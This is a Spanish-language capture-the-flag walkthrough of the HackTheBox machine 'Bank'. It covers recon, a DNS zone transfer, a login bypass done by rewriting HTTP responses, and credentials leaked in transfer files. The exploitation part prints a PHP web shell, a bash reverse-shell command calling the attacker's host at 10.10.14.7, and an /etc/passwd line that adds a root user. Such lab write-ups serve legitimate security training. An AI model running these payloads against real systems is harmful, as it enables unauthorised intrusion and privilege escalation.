RECONOCIMIENTO

Vemos que nmap nos reporta que hay tres puertos abiertos en la máquina, 22, 53 y 80.

nmap -p- --open -T5 -v -n -Pn -oG allPorts 10.10.10.29
nmap -sCV -p22,53,80 -oN targeted 10.10.10.29

No tenemos ningún nombre de dominio, pero intuyendo que pudiera ser bank.htb, vamos a tratar de realizar un ataque de transferencia de zona mediante la herramienta dig.

Una transferencia de zona es un tipo de transacción DNS (sistema de nombres de dominio, el cual traduce y/o apunta cada dominio a la IP correspondiente) normalmente inducida a través de una consulta tipo “AXFR” para poder replicar bases de datos con registros entre servidores DNS.

La información contenida en cada transferencia de zona puede entregarnos la información de todos los dominios y/o servidores de cada base de datos de registros en el servidor DNS.

El parámetro “axfr” es quien permite la transferencia de zona de dicho DNS, ya que se usa para sincronizar y actualizar datos de la zona cuando se produjeron cambios.

dig axfr @10.10.10.29 bank.htb

Estos subdominios encontrados vamos a incluirlos en nuestro archivo /etc/hosts.

echo "10.10.10.29  bank.htb ns.bank.htb www.bank.htb chris.bank.htb" >> /etc/hosts

Pasando a la parte de reconocimiento de la web, observando las cabeceras de las respuestas vemos lo que parece ser la página por defecto del servidor de Apache2.

Sin embargo, al tener un nombre de dominio, vemos que se está aplicando Virtual Hosting, ya que introduciendo el nombre de dominio en el navegador accedemos directamente a un panel de inicio de sesión.

El término Virtual Hosting se refiere a hacer funcionar más de un sitio web (tales como www.pagina1.com y www.pagina2.com) en una sola máquina.

Tenemos acceso a servidor web donde esta corriendo php por detrás. Vamos a realizar un ataque de fuerza bruta para tratar de averiguar directorios y archivos del servidor mediante la herramienta gobuster.

gobuster dir -u http://bank.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

• /support.php redirige a login.php.
• /uploads redirige a /uploads/, lo que devuelve un código 403 Forbidden.
• /assets redirige a /assets/, el cual es un directorio con Directory Listing disponible, pero no tiene nada interesante.
• /inc redirige a /inc/, donde se alojan 4 archivos php pero ninguno parece interesante.
• /balance-transferredirige a /balance-transfer/, un directorio con numerosos archivos .accque veremos luego en la fase de explotación.

Para lograr acceso al servidor web y traspasar el panel de inicio de sesión, tenemos dos vías principales que explicaremos a continuación:

EXPLOTACIÓN

Login ByPass

Si tramitamos a través de Burpsuite la petición web a support.php, vemos que la respuesta nos redirige a login.php , pero en el cuerpo de la respuesta tenemos mucho contenido. Si cambiamos el código de estado de la respuesta a 200 OK, vemos tenemos acceso a una página de soporte donde podemos abrir un ticket y adjuntar una imagen.

Vamos a crear una regla en Burpsuite para en vez de cambiar de forma manual las cabeceras de las respuestas, que automáticamente nos convierta todos los 302 Found a 200 OK.

De esta manera, ya hemos obtenido acceso a la página de support.php sin estar autenticados como un usuario y podemos continuar la explotación sin estar autenticados.

Filtrado de Credenciales

Si recordamos bien, existía una ruta en el servidor donde teníamos visibilidad de numerosos archivos que podíamos descargar, de lo que parecen ser datos de transferencias. Vemos que todos datan de la misma fecha y que tienen un peso muy similar (alrededor de 580).

Si nos descargamos un archivo de estos para inspeccionarlo, vemos que lo primero es un mensaje de éxito de cifrado, y a continuación vemos datos (la mayoría cifrados) de la cuenta de un usuario.

Suponiendo que todos los archivos siguen la misma estructura, vamos a mandar una petición y vamos a ir filtrando para ver si hay algún archivo diferente, que no siga la misma estructura y que pueda devolvernos datos interesantes:

curl -s -X GET "http://bank.htb/balance-transfer/" | html2text | awk '{print $3 " " $5}' > output.txt

• html2text es una herramienta que nos limpia un poco el output de la respuesta del servidor.
• awk '{print $3 " " $5}' filtramos por el tercer y quinto argumento de todas las lineas, quedándonos con el identificador de la transacción y con el tamaño del archivo.

Limpiamos un poco el archivo (borrando las primeras lineas y las ultimas que no corresponden a transacciones) y vamos a eliminar las lineas vacías entre medias de cada transacción. A continuación vamos a realizar un ordenamiento de los datos en función del valor numérico del peso del archivo, y podemos destacar una entrada que tiene un peso mucho más pequeño que el resto.

cat output.txt | sed '/^\s*$/d'|sort -k2 -n|head

Si inspeccionamos ese archivo, vemos que lo que es el cifrado de los datos ha fallado, y tenemos visualización en texto claro tanto de un usuario como de una contraseña, credenciales que vamos a utilizar para autenticarnos en la web.

www-data Shell – Explotación Panel de Subida de Archivos

Como tenemos acceso a un panel de subida de archivos, vamos a intentar subir una web shell en php. Sin embargo vemos que no está permitido.

echo "<?php system(\$_REQUEST[\"cmd\"]); ?>" > shell.php

Sin embargo, si analizamos el código fuente de la página support.htb, vemos que tenemos un comentario indicando que las extensiones de archivo htb serán interpretadas como archivos php. Por lo tanto si subimos un archivo con extension htb que contenga una web shell en código php, esta se va a interpretar y vamos a poder correr comandos en la máquina víctima.

Ticket creado, y si ponemos el ratón por encima de link del attachment, vemos abajo la ruta en la que está alojado:

Tenemos ejecución remota de comandos como el usuario www-data. Vamos a ponernos en escucha con NetCat y vamos a mandarnos una ReverseShell a nuestra máquina local

curl http://bank.htb/uploads/shell.htb --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.7/443 0>&1"'

Como no tenemos una TTY interactiva, vamos a actualizarla correctamente. Para más información, acceder al siguiente link donde lo explican de varias maneras.

ESCALADA DE PRIVILEGIOS

Si enumeras archivos SUID del sistema, hay uno que nos debe llamar la atención ya que parece un binario customizado y no un archivo estándar de sistemas linux –> /var/htb/bin/emergency.

Ejecutándolo, parece como una especie de backdoor que automáticamente nos da permisos máximos en el servidor, teniendo una SHELL con permisos de ROOT.

# Alternativa – Permisos de escritura en el archivo /etc/passwd

Si observamos los permisos que tiene el archivo /etc/passwd , vemos que nosotros tenemos la capacidad de escritura en él. Esto es crítico ya que, antiguamente, este archivo alojaba los hashes de las contraseñas de los usuarios del sistema. Esto quiere decir que aún podemos incluir hashes en este documento y serán interpretados, por lo que la idea sería introducir un usuario nuevo, con permisos máximos, para luego poder migrar a él y tener privilegios máximos en la máquina.

Para ello primero, vamos a crear un hash mediante la herramienta openssl.

A continuación, para añadir al usuario, tenemos que seguir una sintaxis muy concreta dentro del archivo. Para ello vamos a visualizarlo e intentaremos representar una estructura similar.

srmeirins:$1$0ktxySJB$l8BxoZgnHP8eAOOExJT9t1:0:0:srmeirins:/root:/bin/bash

Vamos a introducir esa linea en el archivo y vamos a cambiar la sesión al nuevo usuario.

echo 'srmeirins:$1$0ktxySJB$l8BxoZgnHP8eAOOExJT9t1:0:0:srmeirins:/root:/bin/bash' >> /etc/passwd